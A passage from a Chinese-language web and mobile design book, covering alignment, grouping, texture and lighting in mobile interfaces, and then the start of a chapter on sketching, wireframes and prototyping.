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Pastebot的列表中重复的样式

3.4.3　对齐

对齐是优秀视觉设计的标志，它在移动应用程序中特别重要。元素应该对齐到某个物体：其他元素、网格、黄金比例框架、屏幕的边缘。没有对齐的界面元素和构件看上去好像出错了，就像它们居无定所、没有稳固的基础一样。

不需要许多设计技能即可正确地排列元素，但它确实可以吸引敏锐的眼睛：某个元素是否完美地与别的元素对齐。只是接近还不够，它必须是完美的。为了把元素对齐到像素精度，我通常会放大画布，直到我可以清晰地看见像素的开始和结束位置。我还会拖入一些水平和垂直辅助线，以使对齐更容易。不要用目光粗略地测量它，要确保它是完美的。

在两条边缘之间居中显示按钮或构件时，是进行对齐的关键时刻。在为移动应用程序设计界面时，我发现自己执行该操作的次数比所有其他的对齐任务都要多。在工具箱中居中显示按钮、在标签中居中显示文本、在按钮中居中显示图像、在方框中居中显示控件——它们随时都会发生。像素完美的对齐可以使设计从合格上升到优秀。在用于iPhone的Twitter中可以找到对齐的极佳示例。当用户在时间线中点击推特时，一组图标将渐现，提供了用于推特的快捷动作。无论推特有多长，这些图标都是跨行均匀分布的，并且在行内居中显示。

除非你习惯开始于各个像素或者极小的移动屏幕，否则确定蹩脚的对齐可能需要少许实践。但是一旦你开始注意到拙劣的对齐方式，那么到处就可以看到它。
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在用于iPhone的Twitter中，在行内完美地居中显示的图标

3.4.4　接近度和分组

应该把相似或相关的元素组织在一起，构成一个聚合的整体。其好处是，用户将能够更快地浏览项目集合，并且更容易确定元素间的关系。

为了能够通过接近度显示项目的关系，首先必须理解项目的层次结构。MoneyWell（一款用于iPhone的个人理财应用程序）具有清晰地设计的界面。它的主要财务屏幕显示了一个简单的表格视图，以及每一行上的开支。开支的类型作为标签显示在左边，那个项目的费用则右对齐。为什么不把开支直接放在左边的标签旁边呢？下面的模拟图显示了这样做的效果。
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在MoneyWell中右对齐的标签

虽然数字离标签更近，但是现在却不能轻松地同时浏览列表中的所有数字，因为它们参差不齐。应用程序的设计师不仅显示了对标签与其关联数量的接近度的敏感性，而且显示了对所有标签与所有数量的接近度的敏感性。

标签及其关联的元素必须小心定位，否则将会损害应用程序的可用性。相关元素的分组至关重要，错误可能立即会导致混淆。比较一下分组合适的界面与分组不佳的界面。
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不正确的接近度产生了（糟糕的）差别

下面的示例显示了标题与相关的文本段落紧密地分组在一起。其好处是在主要区域内看起来好像有清晰的视觉元素：三个段落和标题中的每一个都混合在一起，构成了三个聚合的组。
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分组和间距允许更轻松地浏览

在第二幅截屏图中，在主要区域内好像有六个不同的元素：每个标题自身都比较醒目，每个段落也是如此。标题没有绑定到它们关系的段落，从而导致视觉混乱。像这样不佳的分组将占据更多的屏幕空间。在最坏情况下，它将导致用户不理解哪些元素是相关的。

3.4.5　纹理

物理物体的表面并不是完全平坦或均匀的：它们具有瑕疵和棱角。像皮革、纸张、衣服和木头这样的有机物质都有许多瑕疵。

使界面逼真意味着要注意纹理。没有什么东西只具有一种单调的颜色。任何物体都有细微的纹理，甚至在最亮的表面上也是如此。环顾你的工作空间：观察每个表面和物体上的纹理。作为练习，尝试在你所选的设计工具中再现其中一些表面。要在你的工具箱中保存许多纹理，以便使你能够制作出更丰富的界面类型。

下面给出了一个示例，显示了细微的纹理和表面如何产生单调沉闷的按钮和面板。
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细微的纹理和表面将会产生效果

左边是一个蓝色的“Sign up”按钮，它位于浅褐色的背景上。这种背景，可以肯定，一点也不逼真。它只是单调沉闷的、平坦的浅褐色背景。它不代表任何事物，只是一种单调的颜色。

右边是另一个按钮，但它具有细微的纹理。按钮的蓝色中添加了一些杂色，使得它看上去更粗糙一点并且更逼真，背景现在看起来像一张图纸。添加真实的纹理、图案和物体，给界面提供现实的格调，这将使得设计从其他应用程序中脱颖而出。

3.4.6　光线

何时使用渐变是合适的？阴影是用于什么的？边缘高光色怎么样？所有这些事情具有什么共性？它们都通过适当地使用光线使界面元素看起来更逼真。

漂亮的用户界面设计的秘诀是真实感：使屏幕上的2D物体看起来好像位于3D空间里，并且它们具有可以在现实生活里发现的体积、表面性质和棱角。这些伪造的3D物体具有高光和阴影，就像你看到的桌子上的物体一样。为了使2D物体看起来像三维的，必须欺骗用户的眼睛，认为它是从屏幕中凸出来的，可以通过操纵光线来实现这种效果。

在设计界面时，要使之看起来好像光源位于屏幕顶部，向下照射所有的文本、构件和按钮。这种光源应该投射阴影并创建高光色，这依赖于它以什么顺序照射到什么。圆角按钮看起来就像是扁平的，除非光线好像正在照射它，并且渐变、高光色和阴影都在这种骗术中起着各自的作用。看看下面两个圆角按钮。
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一些维度产生了多大的差别

左边是一个圆角矩形，其中有一些文本。它是扁平的，看起来好像一幅插图，没有任何真实感。右边是相同的形状，但是应用了以下技术，使之好像是从页面中凸出来的，并且看起来好像在发光。

1．渐变

这里有从细微的红色到轻微的淡红色的渐变。渐变的明亮部分位于顶部，因为我们的模拟光源是来自上方的，首先会照射到按钮的顶部，使得那里的颜色更明亮。

2．边缘高光

按钮的边缘在接近边界之前具有淡淡的、细微的高光，指示光源自然地反射的边缘的锐度。添加边缘高光可以很容易使形状凸出，因为它们可以使主形状与其边界或周围的区域形成更强烈的对比。

3．块光泽

这种技术是通过Apple的iOS按钮的外观和感觉普及的。它模拟在物体前面反射它的发光材质，就好像该物体是真实的三维物体一样。在界面元素的上部添加细微的半透明的白色饰面可以很好地指示光泽。

4．阴影

按钮和其中的文本都具有细微的阴影。在一个优秀的界面中，所有的一切要么位于表面上面，要么插入表面里面；它看起来永远不会与表面在同一平面。考虑信用卡上凸起的数字或者印刷机在把字母印在纸张上时留下的轻微的凹进。这里，白色文本被制作成稍微从表面凸起的效果。

这种轻微的凸起可以捕捉光源，并且直接向下投射很小的阴影。按钮本身位于表面之上，因此它也会投射细微的阴影。记住，在现实生活中，任何东西都会投射阴影。除非你正在绘制吸血鬼，否则如果你希望物体具有深度并且看起来像搁在某个表面上，那么最好给它提供阴影，甚至是极其细微的阴影（如果必须这样做的话）。


 3.5　设计移动应用程序是一项挑战

设计移动应用程序在某些方面更容易，在其他方面则要比设计网站或桌面应用程序困难许多。它之所以更容易，是因为屏幕更小，要填充的像素更少，并且功能更容易管理。但是由于几乎相同的原因使得它更困难：较小的屏幕意味着错误很醒目；处理的像素较少将强迫你对取舍的内容做出粗略的折中；较少的功能意味着你不得不全神贯注于每个特性。高尔夫球手在练习挥杆时会留意领悟到的关键技能，同样，设计师在设计界面时应该具有他们自己的一览表。下面列出了在处理像素时需要记住的一些快速的提示。

●　尽可能使设计保持逼真。不要使用物理世界里可能不存在的阴影或高光。

●　仅仅足够接近是不够的。要测量一切内容，直至最后一个像素。

●　如果不能构建更吸引人的效果，那么就使用你已经具有的效果。换句话说，如果你的自定义按钮看起来并不比Apple的内置按钮更好，那么就不要使用它。

●　简化界面，并检查每个屏幕上确实需要什么元素，哪些元素可以移到别处或者隐藏起来。

●　每个元素要么是从表面凹进的，要么是凸起的。任何元素都不能在没有投射阴影的情况下位于表面之上。

●　如果一个图标不能立即使人理解它的用途，那么使用它就是错误的。

●　细微的纹理、噪声图案和粗糙的表面给单调的数字艺术作品增加了真实感。考虑你复制的现实世界的物体及其表面的实际感觉。

●　不要把界面控件放在不方便的位置，在自然地握住设备时将难以点击它们。

●　削减特性，但是不要删除有趣的视觉细节，因为它们构成了应用程序。

●　文字是界面的一部分，要小心选择它们。

作为把整个职业生涯都用于从事Web设计的设计师，我发现构建移动界面就像是呼吸了一口新鲜的空气：新的范式、挑战、用于获得成功的技术和机会。移动的前景在不断地发生变化，但是不管平台是什么，奇异的用户体验总是关键的差别。

精通移动界面设计的设计师将为他们自身打开全新的远景展望，并且你今天就可以开始沿着这条充满挑战性且回报优厚的道路前进。它所需要的只是时间、一些常识和许许多多的实践。

关于作者

“我只处理那些使我感到快乐的项目。总是要保持对某件事物的兴奋感，总是要从事我满腔热情地想做的事情。”

Mike Rundle（生于1983年）拥有罗切斯特理工学院的信息技术专业的理学士学位。Mike住在北卡罗莱纳州罗利市，周围有快乐的人们、良好的经济和美丽的景色。他从20世纪90年代后期开始从事Web设计，近来转向iPhone、iPad和Mac应用程序开发。Mike最喜欢的颜色是蓝灰色；他有一条名叫Dora的黑色拉布拉多猎狗，他喜欢在空闲时间玩高尔夫球、桌式足球和乒乓球。他给读者的忠告是：及早开始，永不止步。总是要不断地学习，永远不要满足于你目前拥有的知识或者技能，要勇于走出你的舒适区（comfort zone）并且充满求知欲。



————————————————————


(1)
  参见http://developer.apple.com/technologies/tools/xcode.html。


(2)
  参见http://www.boxesandarrows.com/view/where_the_wireframes_are_special_deliverable_3。


第4章　绘制草图、创建线框和原型开发


作者：Janko Jovanovic
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每个设计流程都开始于一种想法，实际上是许多想法。事实是，其中只有少数思想被证明是好的，其他的想法却很糟糕。许多人相信他们具有优秀的想法，并且知道实现它的途径，然后大多数人都失败了。这没有什么好奇怪的，因为仅仅只有想法是不够的。从模糊的想法到成熟的解决方案的冰冷之路与想法本身一样重要（如果不是更重要的话），因为如果没有正确地实现，那么想法就仅仅是一个理论上的抽象概念。知道如何选择想法以及实现并发展它对于成功至关重要。

“天才是百分之一的灵感加上百分之九十九的汗水。”

——托马斯·爱迪生

那么，我们如何选择最佳的想法并把它转变成优雅的解决方案呢？设计流程开始于调查研究（也就是说，使自己熟知环境、项目、用户、业务需求和限制条件）；其后将产生、细化和评估不同的想法；最后要进行原型开发、视觉设计，乃至最终的实现。

设计师的任务是清晰地揭示产品将如何工作。为了实现这个目标，设计师可以自行使用广泛的工具、技巧和方法。他们选择的工具取决于许多因素。

直接进入视觉设计并且关心微小细节的诱惑力非常之大。不过，首先理解问题、探索替代想法以及寻求解决方案非常重要——尤其是在项目的早期。无论设计师遵循哪种方法，创建线框都是这个流程中不可或缺的。

不过，“创建线框”这个术语并不容易解释清楚，因为它对于不同的设计师意味着不同的事情。因此，我们通常会得到多种不同的定义。在本章中，我们将在最广泛的意义上探讨创建线框：它是一个通过迭代式设计产生、探索和细化想法的过程，其目标是清楚地揭示那些想法，并且通过设计师、利益相关者和用户验证它们。

在创建线框阶段，当设计师处理显示网站框架的文档时，将同时进行交互设计、导航设计和信息设计。
(1)



线框通常是由信息架构师创建的。他们的工作是组织和构建网站或软件应用程序的结构，以支持可用性，允许直观的导航，并且使内容易于消化和查找。但是，如果团队中没有专门的信息架构师或者如果你是自由职业者，那么你将怎样处理线框创建呢？你能承受立即跳转到设计阶段吗？

如我们将看到的，这个流程对于专业人员和新手同样都是容易管理的，并且设计师将显著受益于学习创建线框以及在他们的工作中使用它。所以不要省略创建线框过程。

你可以使用不同的方法和技术，并且它们之间的区别主要在于它们的目的和环境。本章描述了从思想转移到解决方案的过程，并且解释了在设计网站和用户界面时可用的工作流程、方法、工具和常见实践。

我们不会冒昧地假定这些内容是完整的或者权威的；相反，对于那些希望学习新工具和技术以及如何开始或充实他们的设计流程的Web设计师来说，应该把本章作为一个稳固的起点。


 4.1　从概念到实现：想法的旅程

设计流程是一段旅程，在这段旅程中想法将慢慢成形，在设计师的头脑中发展，并且进展到草图或者精细的绘图，一直到交互式方法。

这个流程通常开始于探索想法，其中设计师将制作许多粗略的草图。草图的目的是帮助设计师快速探索尽可能多的想法并且否决糟糕的想法，留给客户几个可以演化成线框的稳定选择。随着设计从一个阶段转移到下一个阶段，表现的保真度（即细节级别）将随之提高。最终，设计师将创建原型，并通过针对实际的或潜在的用户测试它来验证他们的想法。
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随着设计流程不断进展，我们将减少替代方案，同时会提高保真度


 4.2　通过绘制草图进行构思

设计流程的初始阶段通常称为“构思”。构思是产生和探索想法与概念的过程。从本质上讲，它将捕捉并可视化设计师头脑里的火花。构思过程中最强大的工具是简单的草图，设计师将借此通过许多简单、粗略的图画探索想法。

在这个阶段粗略说明想法的目的是使它们可见。草图允许你与其他人进行具体的讨论以及可视化地比较想法。此外，你还可以避免由于抽象地考虑网站的外观而损失时间和精力。你只需要钢笔和纸张的事实使得这种策略非常简单、廉价、快速和灵活。因此，你通过在几分钟内制作新的草图并收集反馈，从而能够承受经过更多的测试周期。只要你有想法，就可以轻松地绘制它的草图，这只需要很少的时间，并且可以在你所处的任何地方进行。

草图的最大优点也许是可以随意处置它们。由于在这个表单中捕捉的想法相当抽象，否决它们要比否决经过数小时或数天改进的想法容易得多。草图非常廉价且快速，因此抛弃它们很容易。

绘制草图的目的不是为了确定解决方案，而且探索尽可能多的想法和替代方案。质量、保真度和详细程度不是很重要。事实上，你不会在绘制想法的草图时就评估它们；任何想法都可能是不错的（或糟糕的）想法。草图的低保真度可以促使人们进行试验。你甚至可以尝试最激进的、不大可能实现的想法——毕竟，它的元素可能证明对于你最终确定的想法是有用的。重复的和类似的想法都不应该困扰你，因为你可以在以后组织和删除它们。一般而言，你在此刻使之可见的思想越多，在前进过程中就越容易看到更好思想的优点以及抛弃糟糕的思想。
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简单的搜索表单的草图

草图非常适合于协作、讨论和交流想法。由于就设计而言，它们是非正式的，并且看上去很粗糙，因此人们不会对它们吹毛求疵。它们不太可能好得足以展示给客户，但是它们非常适合于促进与其他设计师、开发人员和团队成员讨论想法。在这个阶段请求人们从多个角度讨论问题有助于你及早形成良好的想法，并抛弃较差的想法，并且它还有助于你发现可以添加到现有想法中的新想法。

但是“探索不同的想法”到底意味着什么呢？它意味着探索不同的布局、布局的某些部分或者页面上的交互吗？它意味着探索跨多个页面的交互吗？我们的回答是确实如此，“它包括上述所有方面，乃至更多的方面。”


 4.3　如何构思

你不需要具有卓越的绘图技巧即可绘制草图。草图不是艺术作品。你的图画看起来像立体派艺术家的油画吗？好极了！你可以绘制草图了！草图不是最终的解决方案，因此不要害怕绘图，并且不要担忧绘图的质量。高级的视觉技能不是必需的，焦虑只会限制你提出和探索优秀想法的能力。

构思过程可以持续从几小时到几天的时间。每天构思几个小时，然后让你的大脑推迟对它做决定，这是个好办法。良好的想法来自于意料之外的时间和地点；在看电视或者参观艺术展览时想到它们的情况并不罕见。为了培养创意，最重要的事情是放松下来并保持积极的心态。
(2)

 做你自己喜欢做的任何事情，并且下意识地做事情。如果你身处压力之下，也许更好的办法是先做别的事情，以后再回过头来培养创意——盯着一张白纸看几个小时不会有任何帮助。在产生了想法后，要保持关注手边的任务，并且要消除会使人分心的事情，比如电子邮件、短信和电话。为了找到适当的想法，需要提出许多想法，当电话铃响个不停或者微博一直在发出尖叫声时，这并不容易做到。

由于你一天只有几个小时用于构思想法，因此不要在每个想法上花太多的时间。无需在细节上踌躇不前，要集中精力关注最重要的问题。用户为了从一家网上商店购买一件T恤衫需要采取哪些步骤呢？在读者第一次访问这个网站时，你怎样才能帮助他们找到正在寻找的内容？你能够试验客户的当前设计并依据用户近来的抱怨更改导航系统吗？你应该问问自己这些问题。然而这些问题并不需要详尽的答案，因此粗略的草图就足够了。

设计师可以独立构思，但是与其他团队成员（他们自身也可能是设计师，但是这不是必须的）一起构思通常要有效得多。无论是面对面地交流还是实时在线交流，团队成员都应该一起分享想法，使得反馈更即时、更直接。

设计流程中最常见的陷阱之一是：在还没有完成上一个想法的情况下就开始一个新想法，这称为“想法到想法综合症”（idea-to-idea syndrome）。
(3)

 你可能对一种想法产生怀疑，从而失去动力，找回它的最容易的方式是开始另一个想法，并且希望它将会更好。如果你只是在随随便便地探索想法，这就非常好，但是要确保实际地绘制我们的重要想法的草图，而不是不停地在大脑里创建并否决它们。

如果你是创意型的人，那么你以前可能经历过这种综合症。追求新想法令人兴奋，并且对于构思也是有用的，但是能够保持忠于一种想法也很重要。否则，一旦你留下一大堆未完成的草图，并且没有捕捉到启发它们的想法的实质，那么你的兴奋感将变成失望。在这个过程中牵涉其他人并且获得具体的反馈可能有助于你继续停留在规定的过程中，以及平衡创意与实现。


 4.4　技巧

开始着手构思的良好方式（尤其是当你不得不如此时）是从几个熟悉的概念开始。考虑你见过的解决方案，并以它们为基础。考虑用于重现问题的常见设计模式和解决方案，随着时间的推移，它们被证明是有效的。许多优秀的用户界面和交互设计模式都出自那里，比如自动完成、精雕细刻的导航系统和错误恢复，等等。但是不要把你的构思局限于熟悉的概念。使你自己不受约束地进行创新，并且在寻求新想法的过程中探索不熟悉的概念。

4.4.1　头脑风暴

头脑风暴（brainstorming）是最着名的并且可能是最有效的产生许多想法的技巧，尤其是在协同工作时。为此，设计师要分享他们对特定问题的思考并讨论它们，而不要带有倾向性。以其他人的想法为基础可以导致产生有趣的概念。与绘制草图一样，想法的数量在这里也很重要。

4.4.2　头脑书写法

头脑书写（brainwriting）或者想法书写稍微不同于头脑风暴。团队成员在纸张或便条上写下想法（新想法或者现有想法的替代方案）。在几分钟之后，每个团队成员都将把他们的想法传递给他们邻近的人，然后各个团队成员将以这些想法为基础形成他们自己的想法。当这个过程结束时，并选择并讨论最有前途的想法。

4.4.3　词库浏览

就像听上去的那样简单，设计师使用这种技巧来探索与描述问题或任务的关键词相关的词语和环境。一旦你具有足够多的词语，就可以使用其他技巧进一步探索它们。

4.4.4　心智图

这是一种用于产生和组织思想的有用的技术。创建一个树型图，显示与中心思想相关的词语、任务、概念或子概念，并把项目组织进树的分支中去。
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在头脑风暴会议中为新博客使用的心智图

4.4.5　填补空隙法

顾名思义，填补空隙法涉及确定两个点——起点和终点（例如，对你的项目起着支配作用的两种想法）——并封闭它们之间的空隙。可以列出填补空隙所需的所有事物，然后也要确定用什么填充这些事物之间的空隙。接着可以构建与每个节点相关的树探索概念，并把它转变成心智图。

除了这些简单的头脑风暴技术之外，在绘制草图阶段还要考虑使用一些更高级的工具和技巧以提高效率。

4.4.6　拳击手套法

Harry Brignull
(4)

 描述的这种技巧要求在它自己的便条上绘制每个网站页面，然后绘制单个用户经过所有便条的旅程。集中精力关注“理想的”路径（即忽略偶然性和输入错误）。

便条的尺寸限制将使你感觉像是戴着拳击手套——即你将只能够绘制最重要的元素。这种技术快速、高效，非常适合于协作。任何人都可以加入进来并发表意见。

4.4.7　草图板

利用草图板，可以把与项目相关的所有工作收集到一起，集中放在一个位置，通常是在钉在墙上的一大张纸质画布上。把关于项目的所有文档和有用的素材都贴到画布上，包括：规范、研究发现、草图、流程图、功能要求和用户反馈。

草图板的目标是暴露问题并提出建议，允许每个人查看它们，发表关于它们的意见并建议改进。草图板可以吸引设计师公开他们的思想，并且鼓励进行协作和改进。
(5)
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草图板的极佳示例（由Jason Robb惠赠）：

http://www.flickr.com/photos/jasonrobb/3751955711。

为了使草图板有效，它应该具有某种结构，同样应该组织和标识相关的项目。例如，可以把与需求、用户要求、成功指标和角色
(6)

 相关的文档放在画布的一边。画布的其余部分可以分成多列，其中每一列代表一个页面、功能或过程（例如，登录页面、注册页面、配置文件设置页面）。

每一列都将包含草图和便条，而且还会留出足够的空间，以便其他人发表意见。使用便条很好，但是要确保所有的信息都是可见的，并且便条不会重叠。一旦草图板完成，就可以开始与团队讨论不同的思想，并且准备改进过的草图。

4.4.8　绘制草图的符号

你还可能考虑使用特殊的符号来描述用户与界面之间的交互。符号是形象表示界面状态、用户动作和事件的语言。利用符号，设计师可以以一种快速、聚合的方式产生和交流思想。
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带有非常简单的符号的草图

除此之外，由 Jakub Linowski创建的 Interactive Sketching Notation（交互式草图绘制符号）
(7)

 受到许多设计师的青睐。可以使用它有效地描述元素（涂上黑色和灰色）和事件（涂上红色）。界面与用户行为之间的这种聚合性使设计师能够讲述交互的更强大的故事。上图是一幅简单的草图，其中使用答来描述登录过程；它探索了多个场景，并为每一个场景都提供了一些解决方案。

4.4.9　故事板

利用图像讲故事是一种强大的技巧，自从文明发端起就一直存在。从洞穴图画到金字塔墙壁，人类一直在使用图画来描述和记录事件。我们中的许多人通过一种心理故事板形象表示事件和动作；物理故事板给该过程简单地提供形状，使之以一种最快速、最容易理解的方式讲故事。
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用于移动停车付款应用程序的故事板的一部分

在设计中，故事板是一系列的图画、插图或图像（甚至还包括视频剪辑），它们排列有序，解释某些事件和动作。故事板可以帮助设计师简单地展示复杂的思想，以及在流程的早期为概念提供实际的关注和环境。把这些纳入你的想法中可以把注意力集中在用户及其目标上，并且有助于你确定什么对于用户是必不可少的，以及如何促进他们的交互。

故事板的威力在于它捕捉思考过程的本质以及帮助我们理解它的潜力。通过故事详细叙述和分析场景要比通过精心制作的文档（比如使用场景）容易得多，后者可能令人不知所措，并且需要更多的时间使之形象化。与沉闷乏味的文档不同，故事板可以产生情绪化影响，并且在个人层面上引导设计师、用户和客户。它们可以吸引人们和鼓励交流，使得更容易批评和改进想法。

讲故事时，需要人物和场景。人物是通过研究绘制的，并且通常表示为角色。场景是通过用户的故事、使用场景及其他文档绘制的，它们捕捉了用户被期望与产品交互的方式。


 4.5　这个行业的工具

如前所述，绘制草图不需要高级的技巧或者复杂的方法，其工具也是如此。你可以使用任何旧传统铅笔和纸张——有时甚至餐巾纸亦可派上用场。尽管如此，而实际上，一些专业工具可以令你事半功倍。

马克笔（marker）非常适合于绘制草图。许多设计师喜欢使用铅笔，是因为这样可以轻松地校正错误，与铅笔相比，马克笔不允许在这个过程中撤销操作，这是一件非常好的事情。你将无需为细节和图画本身分心，从而能够集中精力关注想法的实质。无论圆圈是锯齿状的或者箭头是弯曲的，都无关紧要。美感错误不是什么实质性的问题，此时只有概念才是要紧的。

双头画笔（double-ended brush）特别有用。使用较细的画笔书写文字和绘制基本的线条，并且使用较粗的画笔描绘较大的表面，给某些元素加阴影以及强调它们。

笔记本可能是草图的最佳画布。它可以把你所有的思想保存起来，并且，无论你去往哪里，都可以随身携带它。同时，还可以选择最适合你的笔记本大小。
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绘制草图的工具：铅笔和便宜的双头画笔

白板（和用于在白板上书写绘画的笔）对于团队讨论特别有用。其表面应该足够大，以记录来自团队成员的想法、反馈和改进建议。可以利用数码相机记录其内容，并存储起来以便以后使用。注意：许多设计师建议不要使用灵活的数码工具，因为它们会限制你产生思想的能力，并且它们会吸引对细节的注意力。这种决策可能更多的是个人嗜好、组织和纪律方面的事情。


 4.6　利用线框使想法成形

一旦完成了构思过程，就可以获得进一步的想法，并利用线框进一步探索它们。此时，想法将开始成形。与草图相比，线框是页面结构、导航系统和内容的更详细的视觉标识。你可以把线框视作设计的蓝图，就像技术图纸制订了架构或结构的工程一样，线框则制订了产品的外形、功能和行为。

线框不是在美学上模拟网站。相反，它只包含建议设计的结构（或骨架）的基本元素。图形元素、颜色和版式并不是它的一部分，因为它们可能导致客户以为线框是“草案”或实体模型，当然事实并不是这样的。

不过，这并不意味着线框甚至不应该包含颜色或图形元素。如果某种颜色或元素有助于传达一些必要的功能，那么当然可以包括它。但要避免视觉“增强”。例如，链接和其他可单击的元素可以涂上蓝色，这可以强调它们的交互性。诸如错误通知和警告消息之类的状态消息也可以相应地涂色。不过，此时不要决定各个设计元素的背景色。

总之，线框显示了结构和组织方式，并且建议了导航和交互。但是它的各个部分准确地讲应该是什么呢？一般来讲，可以包括网站的以下方面。

●　页面结构，显示如何在页面上组织信息、用户会看到什么以及他们可以做什么。

●　导航，指示用户怎样在网站中四处移动、他们当前所在的位置以及他们接下来可以到达哪里。

●　交互细节，指示当用户做某事时会发生什么、他们动作的后果，以及他们为实现目标接下来将采取的步骤。

无需为网站的每个单独的页面创建一个线框。对于较小的网站，比如照片集网站，一个线框通常就足够了。对于更复杂的网站，可能需要多个线框来描述不同的布局、交互和状态。

像草图一样，线框是交流工具。它们在交流想法、目标和设计方法时起着至关重要的作用。但是，草图主要用于设计师与开发人员之间的交流，而线框则用于在设计师、开发人员、客户和用户之间交流方法。

●　商业人士和客户使用线框确保他们的需求得到满足、跟踪进度以及批准想法。

●　管理者确保线框适应总体战略、匹配预期的用户体验以及适应技术限制。

●　设计师使用线框交流设计和请求反馈。

●　开发人员在视觉效果完成前使用它们开始处理新功能，帮助加快开发速度和避免瓶颈。

许多设计师还会给线框加注释以解释某些元素。注释指向并阐明线框中的元素，尤其是那些不明显的元素。良好的注释比较简短，无需设计师介绍即可让人理解。它们指示出内容的目的，并且为模糊的元素提供环境。


 4.7　线框的类型

依赖于设计师的任务和偏好，线框可以具有不同的形状和大小。一些项目可能受益于纸上的低保真度的线框，而另外一些项目则需要屏幕上的高保真度的交互式线框。

4.7.1　低还原度的线框

低还原度的线框重点关注的是高级结构、交互和层次结构。这些原型看起来不像最终的设计，但是工作方式与它们非常相似。低还原度的线框允许设计师和其他人参与到这个过程中，快速地迭代思想，并在前进过程中细化和改进它们。

这些模型具有最低限度的细节，通常只包含由灰色方框表示的区域，并且带有解释其用途的标签。它们通常只包括关键的页面元素：标题、脚注、导航菜单、占位符（用于广告、内容块、侧栏等），以及用于用户界面的草草画成的控件和按钮组。
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只显示布局区域的低还原度的线框

当设计进度不大时，低还原度的线框很有用。可以通过添加灰色方框快速纳入新元素，这将把其他方框推向一边。在开发阶段的后期，将不能如此容易地执行这样的更改，因为设计的大部分内容已经得到了客户批准。

4.7.2　高保真度的线框

当我们在设计流程向前进展时，会提高线框的还原度，并引入更多的细节和功能。高保真度的线框更为详细地显示了设计如何工作（或者至少是应该如何工作）。

这种线框尽可能地接近模拟最终界面的样子。至此，已经做出了大多数必要的设计决策，并且目标现在是给相关的每一个人提供设计工作的清晰图景。

例如，如果必要，开发人员可以使用高还原度的线框作为规范并开始编码。尽管一些元素可能对于设计师很明显，还是应该在高还原度的线框中清晰地标记和描述它们，因为它们将会被那些可能未分享设计师想法的人参考。

[image: ]


带有注释的高还原度的线框

4.7.3　混合式线框

虽然低还原度的线框和高还原度的线框截然不同，但是不必非常严格地遵循这种区别。线框可以是高还原度和低还原度的组合，称为混合式线框。这将显示高级结构，同时突出页面的某些部分的细节。例如，可以通过灰色方框表示页面，而导航则利用注释更详细地显示。

在设计向前推进时，就可以开发混合式线框。这样，它们就可以提供设计的当前状态以及各部分组合的图景。当某些元素的需求是特定的而其他元素尚需讨论和改进时，混合式线框就很有用。

4.7.4　粗略的线框

制作看起来像手绘的数字线框的常用技巧是使用专用的软件，得到的文档被称为“粗略的线框”
(8)

 或者“数字草图”。设计师有时更喜欢数字草图的主要原因之一是因为它使文档看上去美观、得体，并且容易更新。设计师可以重用线框中的组件，并把它们转变成原型。此外，粗略的外观还可以显示出作品未完成，从而清楚地与最终的解决方案区分开。许多专用的软件应用程序提供了粗略的框架和模版。
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高还原度的线框与粗略的线框之间的比较

不过，在构思阶段，数字草图不能代替传统的绘制草图。朴素的草图是开发思想的工具，并且它们提供对于探索至关重要的灵活性和速度。粗略的线框如果过早使用，可能会限制你的创意。


 4.8　通过原型化进行测试和改进

如果构思产生了想法，绘制草图使之可见，并且创建线框给它提供了总体框架，那么原型能在哪里派上用场呢？

原型化是在发行产品前通过迭代验证设计的过程。原型化遵循线框创建，因为它模拟真实的产品，并且让用户体验它实际上是如何工作的。它是用于测试和评估在整个设计流程中不断演化的概念的工具。

为此，我们必须与用户一起测试特定的场景，收集反馈，分析它，并使用发现的结果进一步改进设计和解决可用性问题。线框创建是关于通过在画布上定位组件和UI元素来描绘页面的轮廓的，而原型化则是关于行为而不是视觉的，即评估、测试和验证功能。
(9)



无论任务流程、草图、故事板或线框是什么，原型都可以给静态产品添加交互式层。与这些静态物体不同的是，原型很容易为用户所理解，因为他们可以实际地摆弄原型。由于它用于测试，我们可以把它视作产品的合理改进的模型，其外观和表现不必完全像最终的产品那样，因为它的目的只是模拟。在测试复杂的、功能丰富的、具有许多交互的应用程序时，原型的真实价值将变得显而易见。

原型不必模拟整个网站以提供有用的见解；相反，它们应该重点关注你希望测试的重要场景。这些可能是用户的最常见的任务或者复杂的多步骤的交互，或者是对用户体验至关重要的其他交互。在大型项目中，通常将把原型化阶段分割成几段，用以详细评估各种交互。在这种情况下，将需要首先计划原型，以确保具有测试所需的所有页面和交互。

4.8.1　原型的类型

原型的还原度和媒介将取决于许多因素，比如预算、最终期限、要测试的功能的类型、团队规模、位置、用户的可利用性，等等。如果你只想测试高级方面（例如，页面流），或者只是想与团队的其他人讨论原型，那么低还原度的原型就足够了。对于交互程度很高的网站或者为管理者准备的演示材料，则需要更详细的、高还原度的原型。下面介绍了一些常见的原型化方法和工具。

1．纸上原型

纸上原型（paper prototype）是相对便宜、快速且容易制作的低还原度的原型。它们通常是由纸张或纸板制作而成，并通过多张卡片模拟功能。与其他原型化技术相比，这种媒介易于操纵的特点吸引了许多设计师。

尽管一些设计师认为这种方法不专业，但它对于设计师和用户都是令人愉悦的和有吸引力的，其中后者在批评某件看起来不光鲜或者逼真的事物时通常感觉更舒适。与此同时，客户会为你通过使用这种轻资源法所节省的时间和金钱而感到满意。

由于纸上原型可以快速制作，因此很容易操纵它来响应用户的行为，有时甚至在测试会话期间亦可如此。这样一种方法在测试过程中提供了相当大的灵活性，并且留出了更多的时间用于迭代设计。它适合于预算较低的项目，因为可以利用钢笔和纸张在几分钟内制作原型。

利用这个技巧，可以通过允许用户使用一系列纸张来实现交互性，其中每一张纸都代表一个页面或者一种页面状态。在下面的示例中，带有便条的物理移动设备用于测试便条写作应用程序。每张便条都代表一个页面或者一种页面状态。根据用户的选择，设计师可以利用新便条替换当前的便条。可以利用手指触摸或者利用铅笔点按导航选项来模拟“单击”。结合便条草图与真实的设备可以使体验显得更逼真一点。
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利用便条和实际的移动设备制作的纸上原型

纸上原型化极少适合于具有许多交互、页面或页面状态的复杂项目。在测试会话期间更新状态数十次甚至上百次将需要极大的开销，从而使得模拟进行得相当慢而且乏味。例如，只使用铅笔和纸张将难以对带有内联验证的Web表单进行原型化。在这种情况下，可以考虑代之以使用数字原型（digital prototype）。

2．数字原型

数字原型通常是几乎完美地模仿了实际产品的功能的高还原度的原型。利用数字原型，设计师通常可以考虑许多细节，从结构到交互，再到视觉表示。如果设计师希望强调作品的不完整性，原型可能看起来像线框，但是它在美感上也可能与最终的设计非常接近—— 比如说，如果设计师希望在现实的环境中执行测试。数字原型被设计成完全像真实的界面那样工作，并且为“服务器响应”增加人为延迟的现象很常见。

